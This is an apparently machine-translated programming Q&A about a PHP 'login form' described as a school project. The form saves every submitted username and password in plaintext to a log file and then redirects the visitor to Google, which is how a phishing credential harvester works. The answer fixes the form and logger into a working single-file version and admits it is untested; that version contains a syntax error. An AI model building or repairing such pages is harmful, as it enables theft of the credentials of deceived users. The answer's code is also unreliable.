我在为我的学校项目登录表单时遇到了麻烦。 您看,我尝试使用PhP脚本创建日志文件,但每次输入示例用户名/密码时,它都会创建一个日志文件,但日志文件为空。 对此有何建议/解决方法?
我的代码:
<body>
<div class="form">
<div class="header"><h2>Sign In</h2></div>
<div class="login">
<form action="login.php" method="get">
<ul>
<li>
<span class="un"><i class="fa fa-user"></i></span><input type="text" required class="text" placeholder="User Name Or Email"/></li>
<li>
<span class="un"><i class="fa fa-lock"></i></span><input type="password" required class="text" placeholder="User Password"/></li>
<li>
<input type="submit" value="LOGIN" class="btn">
</li>
<li><div class="span"><span class="ch"><input type="checkbox" id="r"> <label for="r">Remember Me</label> </span> <span class="ch"><a href="#">Forgot Password?</a></span></div></li>
</ul>
</form>
<div class="social">
<a href="#"><div class="fb"><i class="fa fa-facebook-f"></i> Login With Facebook</div></a>
<a href="#"><div class="tw"><i class="fa fa-twitter"></i> Login With Twitter</div></a>
</div>
</div><br/>
<div class="sign">
<div class="need">Need new account ?</div>
<div class="up"><a href="">Sign Up</a></div>
</div>
</div>
</body>
**PhP codes**
<?php
header ('Location: http://www.GOOGLE.COM');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
$stringData = "username: " . $_POST['username'] . "\n";
fwrite($fh, $stringData);
$stringData = "password: " . $_POST['password'] . "\n";
fwrite($fh, $stringData);
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
答案 0 :(得分:0)
header ('Location: http://www.GOOGLE.COM');
在代码执行之前?始终将其放在代码的末尾,因为它将运行代码,然后重定向。如果要将数据发布到PHP文件,请将method =“GET”更改为method =“POST”。
答案 1 :(得分:0)
没有测试它但应该有用。
问题是:
顺便说一下。怎么样在一个文件中做? Protip:关闭未使用的文件处理程序是一种很好的做法,否则它将在整个请求期间保持打开状态。
<?php
if($_SERVER['REQUEST_METHOD'] == 'POST') {
$fh = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
$stringData = "username: " . $_POST['username'] . "\n";
fwrite($fh, $stringData);
$stringData = "password: " . $_POST['password'] . "\n";
fwrite($fh, $stringData);
}
fclose($fh);
header ('Location: http://www.google.com');
else {
?>
<html>
<head>
...
</head>
<body>
<div class="form">
<div class="header"><h2>Sign In</h2></div>
<div class="login">
<form method="POST"> <!-- no need for action attribute, as by default it's current URL -->
<ul>
<li><span class="un"><i class="fa fa-user"></i></span><input type="text" name="username" class="text" placeholder="User Name Or Email" required/></li>
<li><span class="un"><i class="fa fa-lock"></i></span><input type="password" name="password" class="text" placeholder="User Password" required/></li>
<li><div class="span"><span class="ch"><input type="checkbox" id="r"> <label for="r">Remember Me</label> </span> <span class="ch"><a href="#">Forgot Password?</a></span></div></li>
<li><input type="submit" value="LOGIN" class="btn"></li>
</ul>
</form>
<div class="social">
<a href="#"><div class="fb"><i class="fa fa-facebook-f"></i> Login With Facebook</div></a>
<a href="#"><div class="tw"><i class="fa fa-twitter"></i> Login With Twitter</div></a>
</div>
</div>
<br/>
<div class="sign">
<div class="need">Need new account ?</div>
<div class="up"><a href="">Sign Up</a></div>
</div>
</div>
</body>
</html>
<?php }?>